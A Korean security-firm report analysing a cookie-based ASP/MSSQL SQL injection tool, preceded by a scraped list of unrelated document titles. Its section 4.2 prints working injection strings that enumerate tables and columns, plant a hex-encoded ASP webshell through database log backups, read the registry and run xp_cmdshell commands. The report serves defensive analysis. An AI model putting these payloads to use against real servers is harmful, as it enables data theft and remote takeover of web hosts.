SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

Similar documents
문서 템플릿

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

DBMS & SQL Server Installation Database Laboratory

제목 레이아웃

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

소만사 소개

10.ppt

MySQL-Ch10

TITLE

thesis

PowerPoint 프레젠테이션

13주-14주proc.PDF

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

ALTIBASE HDB Patch Notes

Microsoft PowerPoint - 10Àå.ppt

WebKnight를 활용한 IIS 웹서버 보안

Remote UI Guide

歯sql_tuning2

PowerPoint 프레젠테이션

Observational Determinism for Concurrent Program Security

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

슬라이드 1

Oracle Database 10g: Self-Managing Database DB TSC

게시판 스팸 실시간 차단 시스템

초보자를 위한 분산 캐시 활용 전략

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

강의 개요

윈도우시스템프로그래밍

WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역

NoSQL

Spring Boot/JDBC JdbcTemplate/CRUD 예제

Microsoft PowerPoint - polling.pptx

Microsoft Word - [Unioneinc] 특정컬럼의 통계정보 갱신_ _ldh.doc

1217 WebTrafMon II

Tablespace On-Offline 테이블스페이스 온라인/오프라인

90

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

untitled

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

PowerPoint Template

Cloud Friendly System Architecture

윈도우시스템프로그래밍

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터

Ç¥Áö

(Humphery Kim) RAD Studio : h=p://tech.devgear.co.kr/ : h=p://blog.hjf.pe.kr/ Facebook : h=p://d.com/hjfactory :

untitled

슬라이드 제목 없음

5장 SQL 언어 Part II

[ 목차 ] 5.1 데이터베이스프로그래밍개념 5.2 T-SQL T-SQL 문법 5.3 JAVA 프로그래밍 2

ETL_project_best_practice1.ppt

Intra_DW_Ch4.PDF

빅데이터분산컴퓨팅-5-수정

화판_미용성형시술 정보집.0305

강의10

MySQL-.. 1

초보자를 위한 ADO 21일 완성

uFOCS

UDP Flooding Attack 공격과 방어

歯PLSQL10.PDF

MS-SQL SERVER 대비 기능

3 S Q L A n t i p a t t e r n s Trees/intro/parent.sql CREATE TABLE Comments ( comment_id SERIAL PRIMARY KEY, parent_id BIGINT UNSIGNED, comment TEXT

DW 개요.PDF

ODS-FM1

PowerPoint 프레젠테이션

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Chapter 1

thesis-shk

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

untitled

Cisco SDN 3.0 DDoS DDoS Cisco DDoS Real Demo 2008 Cisco Systems, Inc. All rights reserved. 2

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

SQL

untitled

T100MD+

Cache_cny.ppt [읽기 전용]

PowerPoint Presentation

Microsoft PowerPoint Python-DB

씨에이에스는 서울특별시 시설관리공단 계약 제1579호( ) 장애인 콜택시 콜센터 차량관제시스템 구축사업 감리용역 에 근거하여 카나스 에서 수행중인 장애인콜택시 콜센터 차량관제시스템 구축사업에 대한 최종감리를 실시하고 본 보고서를 제출합니다

PCServerMgmt7

슬라이드 1

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

빅데이터 분산 컴퓨팅 -6

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

PowerPoint Presentation

Smart Power Scope Release Informations.pages

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

SRC PLUS 제어기 MANUAL

SMB_ICMP_UDP(huichang).PDF

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

最即時的Sybase ASE Server資料庫診斷工具

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

第 1 節 組 織 11 第 1 章 檢 察 의 組 織 人 事 制 度 등 第 1 項 大 檢 察 廳 第 1 節 組 대검찰청은 대법원에 대응하여 수도인 서울에 위치 한다(검찰청법 제2조,제3조,대검찰청의 위치와 각급 검찰청의명칭및위치에관한규정 제2조). 대검찰청에 검찰총장,대

The Self-Managing Database : Automatic Health Monitoring and Alerting

Transcription:

Asp Mssql Sql Injection Tool 분석보고서 이재곤 (x0saver@gmail.com) SK Infosec Co., Inc MSS 사업본부 / 침해대응센터모의해킹파트

Table of Contents 1. 개요... 3 2. 구성... 3 3. 분석... 4 3.1. 기능분석... 4 4. 공격원리...14 4.1 기본공격원리...14 4.2 Attack Query String 분석...15 5. 영향을받는시스템...19 6. 마치며...19 7. Reference...19 2

1. 개요 2008년중국발 injection 공격으로전세계대량의악성코드를유포시킨 Mass SQL Injection 공격이있었다. 이공격은한번의공격으로방대한코드를삽입하여, 다량의 DB 값을변조를시켜많은웹사이트들을피해입혔다. 특히 IDS, IPS, WAF 와같은보안장비를우회하기위해 cookie 변수, % 을사용한점이두드려지는데, cookie 를이용한공격기법연구는 2007년부터진행되어진것같다. 그럼 cookie injection 을이용한공격도구인 ASP MSSQL SQL Injection Tool 에대해알아보도록하자. 2. 구성 ASP MSSQL SQL Injection Tool ( 최초버전 : 2007 년 9 월경 ) 3

3. 분석 3.1. 기능분석 우선, 각메뉴를파악하여, 어떤기능이있는지알아보자. [ 그림 3.1] ASP MSSQL SQL Injection Tool 메인페이지 아래와같이각기능이구성되어있다. Exploitable URL Available Functions Execute Function Exploitable Cookie Referer Url Webshell Absolute Path Webshell code 4

Num Type Char Type Url Cookie Temporary Tables Explode Tables Of Current DataBase Registry Key Explode Fields Of IN Registry Value Explode Values Of Via Anonymous Proxy Directory Path cmd Command Launch Attack Reset Attack Sql Query 사용방법 [ 표 3.1] Tool 기능구조 Cookie Injection 이가능한포인터를찾아 Explode Tables Of Current DataBase 공격을 실행하면아래와같다. ( 이하 : 시각표현상백그라운드컬러는흰색으로수정 ) [ 그림 3.2] Char Type 과 Cookie 선택후 DB 의테이블추출 5

Table 정보를기초로하여, 상세 column 값을조회하면아래와같다. [ 그림 3.3] 추출한 table 을기초로하여, column 값을추출한결과 IIS 서버의확장로깅옵션중 cookie(cs(cookie)) 부분을체크후로그부분을참고하면 아래와같다. [ 그림 3.4] IIS 서버로그 6

ASP MSSQL SQL Injection Tool beta 1 버전에서 3 버전으로버전업이되면서다양한고급 기능들이추가되었다. 세부기능을살펴보고, 어떤기능을하는지알아보자. [ 그림 3.5] 고급명령어 Available Functions 고급명령어 Mssql server INFO Log backup webshell Differencial backup webshell List Directory Read Registry Execute Command Via Xp_cmdshell Execute Sql Query 버전정보, 중요 Stored Procedure 사용여부 Webshell code 를입력으로받아 code 실행 Log backup webshell 과비슷한기능 Directory Path 기반으로 Directory 정보표시 Registry Key 기반으로하여 Register 정보표시 cmd Command 기반으로하여 Xp_cmdshell 수행 Sql Query 기반으로 Query 실행 [ 표 3.2] Available Functions 고급명령어 7

각고급명령어를알아보면아래와같으며, 공격서버에 Temporary Table 을남긴다. [ 그림 3.6] 고급명령어 - Mssql server INFO 서버버전, 사용자권한및확장프로시저사용여부등이확인가능하다. 8

[ 그림 3.7] 고급명령어 - Log backup webshell 실행전 [ 그림 3.8] 고급명령어 - Log backup webshell 실행후 임의의 Webshell code 를입력하여, Webshell code 실행된결과이다. 9

[ 그림 3.9] 고급명령어 - List Directory Directory Path 기반으로 Directory 정보를표시한다. 10

[ 그림 3.10] 고급명령어 - Read Registry Registry 에서 Registry Key, Registry Value 를참조하여, 그결과를표시한다. 11

[ 그림 3.11] 고급명령어 - Execute Command Via Xp_cmdshell Stored Procedure 중 xp_cmdshell 이활성화되어있으면, cmd command 값을참조하여 명령어를실행한후그결과값을표시한다. xp_cmdshell 사용가능여부는고급명령어 Mssql server INFO 에서확인할수있다. 12

[ 그림 3.12] 고급명령어 - Execute Sql Query Sql Query 를기반으로 Query 실행결과를표시한다. 13

4. 공격원리 4.1 기본공격원리 Web Application 의 Parameter 전달방식인 GET/POST 이외 COOKIE 변수처리시 request() 함수를통해각각의변수마다엄격히처리하지않은데취약성이있다. ASP MSSQL SQL Injection TOOL 는이러한점을이용한공격툴이다. 어떠한원리로공 격이되는지살펴보도록하자. ASP MSSQL SQL Injection Tool 메인페이지에서는 cookie 변수를활용한공격방법에대 해서설명을하고있다. [ 그림 3.1 참조 ] 1. cookie 변수를활용한공격방법 1) exploitable cookie 부분을찾아 MIKA 라는키워드를추가 2) 예를들어 exploitable cookie 부분이 myset=template 라고한다면 myweb=myset=template; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL 3) myset=template 부분에아래와같이 MIKA 키워드를추가 my web=myset=templatemika; ASPSESSIONIDCSRRARBS=PIHLHHPDOFMCKJIBBIMMLCJL 2. url 값을활용한공격방법 1) exploitable url 부분을찾아 MIKA 라는키워드를추가 2) 예를들어 exploitable url 부분이 http://www.mika520.net/vul.php?id=1 라고한다면 MIKA 키워드를추가하여 http://www.mika520.net/vul.php?id=1mika 위 1, 2 번의공격방법에따라 ASP MSSQL SQL Injection Tool 에서는 MIKA 라는키워 드를찾아, 변조하고자하는 Query String 으로대체하여, 원하는결과값을획득한다. 14

4.2 Attack Query String 분석 이공격툴은아래와같은 Attack Query String 으로공격되어진다. /* 테이블전체이름추적 */ And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--; /* 특정테이블의 column 추적 */ and (select top 1 nchar(124)+col_name(object_id(0x6d0065006d006200650072005f0069006e0066006f00),1)+nc har(124) from sysobjects)>0--; /* 특정테이블의 column 값추적 */ And (Select Top 1 char(124)+isnull(cast([column_name] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [column_name] From [table_name] Where 1=1 Order by [column_name]) T Order by [column_name] desc)>0--; /* MSSQL Server INFO */ and (select char(124)+@@version +char(92)+system_user+char(92)+user+char(92)+db_name()+char(92)+convert(char(1),is_me MBER (0x640062005F006F0077006E0065007200))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x 730079007300610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x73 0065007200760065007200610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEM EMBER(0x620075006C006B00610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROL EMEMBER(0x73006500740075007000610064006D0069006E00))+char(92)+convert(char(1),IS_S RVROLEMEMBER(0x6400690073006B00610064006D0069006E00))+char(124))>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where 15

xtype=0x5800 and name=0x780070005f0063006d0064007300680065006c006c00)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f007200650067007200650061006400)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f006400690072007400720065006500)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f007300750062006400690072007300)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x780070005f00490073004e007400410064006d0069006e00)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x730070005f006f0061006d006500740068006f006400)>0--; and (select char(124)+cast(count(*) as varchar(400))+char(124) from master..sysobjects where xtype=0x5800 and name=0x730070005f006f006100630072006500610074006500)>0--; /* Log Backup webshell */ ';alter database db_name() set RECOVERY FULL--; ';drop table [tmp_mika];create table [tmp_mika]([cmd] [image])--; ';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003a005c006d0069006b0061002e00620061006b00 backup log @a to disk = @s with init--; ';insert into [tmp_mika](cmd) values(0x3c2565786563757465287265717565737428226c222929253e)--; ';declare @a sysname,@s nvarchar(4000) select 16

@a=db_name(),@s=0x63003a005c0069006e00650074007000750062005c0077007700770072 006f006f007400 backup log @a to disk=@s with init--; ';alter database db_name() set RECOVERY SIMPLE--; /* Differencial backup webshell */ ';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x6d0069006b0061002e00620061006b00 backup database @a to disk=@s--; ';drop table [tmp_mika];create table [tmp_mika] ([cmd] [image])--; ';insert into tmp_mika(cmd) values(0x3c2565786563757465287265717565737428226c222929253e)--; 'declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003a005c0069006e00650074007000750062005c0077007700770072 006f006f007400 backup database @a to disk=@s WITH DIFFERENTIAL; /* List Directory */ ';drop table [tmp_mika];create table [tmp_mika]([subdir] nvarchar(400) NULL,[depth] tinyint NULL,[file] bit NULL)--; ';DELETE [tmp_mika];insert [tmp_mika] exec master..xp_dirtree 'c:\',1,1--; ' and (select nchar(124)+cast( count(*) as varchar(255))+nchar(124) from tmp_mika)>0--; ' And (Select Top 1 char(124)+isnull(cast([subdir] as nvarchar(4000)),char(32))+char(13)+isnull(cast([depth] as nvarchar(4000)),char(32))+char(13)+isnull(cast([file] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [subdir],[depth],[file] From [tmp_mika] Where 1=1 Order by [subdir],[depth],[file]) T Order by [subdir] desc,[depth] desc,[file] desc)>0--; 17

/* Read Registry */ 'DROP TABLE [tmp_mika];create TABLE [tmp_mika]([value] nvarchar(4000) NULL,[Data] nvarchar(4000) NULL)--; ';DELETE [tmp_mika];insert [tmp_mika] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--; ' and (select nchar(124)+cast( count(*) as varchar(255))+nchar(124) from tmp_mika)>0--; ' And (Select Top 1 char(124)+isnull(cast([value] as nvarchar(4000)),char(32))+char(13)+isnull(cast([data] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [Value],[Data] From [tmp_mika] Where 1=1 Order by [Value],[Data]) T Order by [Value] desc,[data] desc)>0--; /* Execute Command Via Xp_cmdshell */ ';drop table [tmp_mika];create table [tmp_mika]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL)--; ';declare @a sysname select @a=0x6900700063006f006e00660069006700 insert into [tmp_mika](resulttxt) exec master.dbo.xp_cmdshell @a--; ' and (select nchar(124)+cast( count(*) as varchar(255))+nchar(124) from tmp_mika)>0--; ' And (Select Top 1 char(124)+isnull(cast([resulttxt] as nvarchar(4000)),char(32))+char(124) from (Select Top 1 [ResultTxt] From [tmp_mika] Where 1=1 Order by [ResultTxt]) T Order by [ResultTxt] desc)>0--; 18

5. 영향을받는시스템 - SQL injection 취약점이존재하는웹서버 6. 마치며 SQL Injection 자동화공격은매우오래전부터공격이되고있으며, 이러한공격툴은다양한버전들이공개되어있다. 이공격툴역시 2007년도에공개된것이며, cookie, declear 구문 을사용한점이주요특징이라고할수있겠다. 이러한점으로보아, MASS SQL Injection 공격이일어나기전부터, 관련연구가있었던것으로보인다. SQL Injection 공격에대비하기위해서는취약점을가지고있는 SQL Injection 포인트를 찾아, 보안을고려한안전한코딩이우선시되어야할것이다. 7. Reference - http://www.cnblogs.com/ - http://www.05112.com 19